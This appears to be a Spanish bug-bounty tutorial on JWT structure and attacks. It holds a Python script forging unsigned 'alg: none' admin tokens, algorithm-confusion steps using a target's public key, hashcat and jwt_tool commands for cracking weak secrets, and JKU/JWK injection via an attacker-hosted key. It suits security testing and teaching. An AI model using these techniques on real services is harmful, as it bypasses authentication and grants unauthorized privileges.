¿Qué es un JWT?
JSON Web Token (JWT) es un estándar abierto (RFC 7519) para transmitir información de forma segura entre partes como un objeto JSON firmado. Se utiliza ampliamente para autenticación y autorización en aplicaciones web modernas.
Estructura de un JWT
Un JWT consta de tres partes separadas por puntos:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJyb2xlIjoiYWRtaW4ifQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header (Cabecera)
{
"alg": "HS256",
"typ": "JWT"
}
Define el algoritmo de firma utilizado (HS256, RS256, ES256, etc.).
Payload (Carga útil)
{
"sub": "1234567890",
"name": "John",
"role": "user",
"iat": 1516239022,
"exp": 1516242622
}
Contiene los claims — los datos que quieres transmitir (identidad del usuario, roles, permisos, expiración).
Signature (Firma)
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
Garantiza la integridad del token. Si alguien modifica el header o el payload, la firma no coincidirá.
Ataque 1: Algoritmo "none"
Algunos servidores aceptan tokens sin firma si el campo alg del header se establece como "none":
// Header original
{"alg": "HS256", "typ": "JWT"}
// Header modificado
{"alg": "none", "typ": "JWT"}
Cómo explotarlo
- Decodifica el JWT (es solo Base64)
- Cambia el algoritmo a
"none"
- Modifica el payload (por ejemplo, cambia
"role": "user" a "role": "admin")
- Elimina la firma (deja solo el punto final)
- Envía el token modificado
import base64
import json
# Header con alg: none
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).decode().rstrip("=")
# Payload modificado
payload = base64.urlsafe_b64encode(
json.dumps({"sub": "1234", "role": "admin"}).encode()
).decode().rstrip("=")
# Token sin firma
token = f"{header}.{payload}."
print(token)
Variaciones
Prueba diferentes formas del algoritmo: "none", "None", "NONE", "nOnE".
Ataque 2: Confusión de clave (Key Confusion / Algorithm Confusion)
Este ataque explota la diferencia entre algoritmos simétricos (HS256) y asimétricos (RS256):
- RS256: Firma con clave privada, verifica con clave pública
- HS256: Firma y verifica con la misma clave secreta
El truco
Si el servidor usa RS256 y puedes obtener la clave pública (que muchas veces es accesible), puedes:
- Cambiar el algoritmo de RS256 a HS256
- Firmar el token usando la clave pública del servidor como secreto HMAC
- El servidor intentará verificar con HS256 usando la clave pública como secreto y aceptará el token
# Obtener la clave pública del servidor
curl -s https://target.com/.well-known/jwks.json | jq
# O desde el certificado SSL
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout
Ataque 3: Secretos débiles
Si el servidor usa HS256 con un secreto débil, puedes crackearlo por fuerza bruta:
# Usando hashcat
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt
# Usando jwt_tool
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt
Secretos comunes que puedes probar
secret
password
123456
your-256-bit-secret
change_this_secret
default
Ataque 4: Inyección JKU/JWK
JKU (JWK Set URL)
El header del JWT puede contener un campo jku que apunta a una URL donde se aloja la clave pública para verificar la firma:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://target.com/.well-known/jwks.json"
}
El ataque
- Genera tu propio par de claves RSA
- Aloja tu clave pública en un servidor que controlas
- Modifica el
jku para apuntar a tu servidor
- Firma el token con tu clave privada
- El servidor descargará tu clave pública y verificará el token como válido
# Generar par de claves
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# Crear un JWKS con tu clave pública y alojarlo
python3 -m http.server 8080 # Servir el archivo jwks.json
JWK embebido
Similar al ataque JKU, pero en este caso el header incluye directamente la clave pública dentro del token:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "tu_clave_publica_aqui...",
"e": "AQAB"
}
}
Cómo testear JWT en la práctica
1. Identificar el uso de JWT
# Buscar tokens en headers de Authorization
Authorization: Bearer eyJhbGci...
# Buscar tokens en cookies
Cookie: session=eyJhbGci...
# Buscar tokens en parámetros de URL
?token=eyJhbGci...
2. Decodificar y analizar
# Usar jwt.io para decodificar visualmente
# O con la línea de comandos:
echo "eyJhbGci..." | cut -d. -f2 | base64 -d 2>/dev/null | jq
3. Usar jwt_tool para automatizar pruebas
# Instalación
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt
# Modo de escaneo completo
python3 jwt_tool.py <JWT> -M at # All Tests
python3 jwt_tool.py <JWT> -M pb # Playbook mode
Herramientas recomendadas
- jwt.io: Debugger visual de JWT
- jwt_tool: Suite completa de ataques JWT
- Burp Suite + JSON Web Tokens extension: Manipulación de JWT en Burp
- hashcat: Cracking de secretos JWT
- jq: Parsing de JSON en la terminal
Mitigaciones que encontrarás
Cuando pruebes, ten en cuenta que los servidores bien configurados:
- Rechazan el algoritmo
none
- Validan el algoritmo esperado en el servidor (no confían en el header)
- Usan secretos largos y aleatorios para HS256
- No siguen URLs externas en
jku sin validar una whitelist
- Validan
exp, iss, aud y otros claims
Conclusión
Los ataques a JWT son una de las categorías más técnicamente interesantes en bug bounty. Aunque las implementaciones modernas suelen estar bien protegidas, todavía es sorprendentemente común encontrar servidores que aceptan el algoritmo none, usan secretos débiles o no validan correctamente el campo jku. Cada vez que veas un JWT en una aplicación, tómate el tiempo de probar estos vectores de ataque.